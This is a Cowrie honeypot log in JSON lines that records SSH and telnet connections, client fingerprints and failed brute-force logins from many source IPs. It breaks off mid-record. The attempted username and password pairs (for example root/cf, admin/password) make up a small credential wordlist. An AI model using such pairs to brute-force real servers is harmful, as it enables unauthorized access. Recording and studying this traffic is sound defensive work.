{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:29.542538Z","src_ip":"147.45.211.215","session":"1a9d872df1f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:29.709090Z","src_ip":"147.45.211.215","session":"1a9d872df1f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cf","message":"login attempt [root/cf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:30.219314Z","src_ip":"147.45.211.215","session":"1a9d872df1f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:31.388952Z","src_ip":"147.45.211.215","session":"1a9d872df1f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":46206,"dst_ip":"10.17.0.5","dst_port":22,"session":"57942a5f6cd8","protocol":"ssh","message":"New connection: 91.92.40.13:46206 (10.17.0.5:22) [session: 57942a5f6cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:54.116366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:54.448043Z","src_ip":"91.92.40.13","session":"57942a5f6cd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:54.452436Z","src_ip":"91.92.40.13","session":"57942a5f6cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:55.818319Z","src_ip":"91.92.40.13","session":"57942a5f6cd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":36560,"dst_ip":"159.203.135.109","dst_port":22,"session":"16f61264f662","protocol":"ssh","message":"New connection: 216.155.93.75:36560 (159.203.135.109:22) [session: 16f61264f662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:56.769657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:56.775204Z","src_ip":"216.155.93.75","session":"16f61264f662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:56.926874Z","src_ip":"216.155.93.75","session":"16f61264f662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:57.163079Z","src_ip":"91.92.40.13","session":"57942a5f6cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivana","password":"ivana123","message":"login attempt [ivana/ivana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:57.564586Z","src_ip":"216.155.93.75","session":"16f61264f662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:08:58.721447Z","src_ip":"216.155.93.75","session":"16f61264f662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":34733,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d89f33cb571","protocol":"ssh","message":"New connection: 170.80.65.140:34733 (10.17.0.5:22) [session: 2d89f33cb571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:12.428680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:12.432854Z","src_ip":"170.80.65.140","session":"2d89f33cb571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:12.556367Z","src_ip":"170.80.65.140","session":"2d89f33cb571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ss123321..","message":"login attempt [root/Ss123321..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:13.082366Z","src_ip":"170.80.65.140","session":"2d89f33cb571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:14.208064Z","src_ip":"170.80.65.140","session":"2d89f33cb571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":34084,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3fd09750ebf","protocol":"ssh","message":"New connection: 87.251.79.125:34084 (10.17.0.5:22) [session: a3fd09750ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:15.325456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:15.330132Z","src_ip":"87.251.79.125","session":"a3fd09750ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:15.397503Z","src_ip":"87.251.79.125","session":"a3fd09750ebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eureka","message":"login attempt [root/eureka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:15.600140Z","src_ip":"87.251.79.125","session":"a3fd09750ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:16.677831Z","src_ip":"87.251.79.125","session":"a3fd09750ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":47628,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dbbd5015f83","protocol":"ssh","message":"New connection: 103.216.145.2:47628 (10.17.0.5:22) [session: 8dbbd5015f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:16.845962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:16.850545Z","src_ip":"103.216.145.2","session":"8dbbd5015f83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:17.045789Z","src_ip":"103.216.145.2","session":"8dbbd5015f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seb","password":"seb","message":"login attempt [seb/seb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:17.862342Z","src_ip":"103.216.145.2","session":"8dbbd5015f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:19.061799Z","src_ip":"103.216.145.2","session":"8dbbd5015f83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":37630,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb0d15ec2254","protocol":"ssh","message":"New connection: 103.27.238.120:37630 (159.203.135.109:22) [session: bb0d15ec2254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:20.268401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:20.272282Z","src_ip":"103.27.238.120","session":"bb0d15ec2254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:20.550111Z","src_ip":"103.27.238.120","session":"bb0d15ec2254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071982","message":"login attempt [root/23071982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:21.393438Z","src_ip":"103.27.238.120","session":"bb0d15ec2254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:22.673710Z","src_ip":"103.27.238.120","session":"bb0d15ec2254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56818,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a80d11a803f","protocol":"ssh","message":"New connection: 103.153.68.219:56818 (10.17.0.5:22) [session: 2a80d11a803f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:23.691009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:23.696233Z","src_ip":"103.153.68.219","session":"2a80d11a803f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:23.950060Z","src_ip":"103.153.68.219","session":"2a80d11a803f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yhj34","message":"login attempt [root/yhj34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:24.713705Z","src_ip":"103.153.68.219","session":"2a80d11a803f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:09:25.969734Z","src_ip":"103.153.68.219","session":"2a80d11a803f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55522,"dst_ip":"159.203.135.109","dst_port":23,"session":"b71548074dbe","protocol":"telnet","message":"New connection: 107.6.151.170:55522 (159.203.135.109:23) [session: b71548074dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:16.372176Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":52096,"dst_ip":"159.203.135.109","dst_port":22,"session":"d11045e07197","protocol":"ssh","message":"New connection: 85.198.19.241:52096 (159.203.135.109:22) [session: d11045e07197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:17.987700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:21.714017Z","src_ip":"85.198.19.241","session":"d11045e07197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","r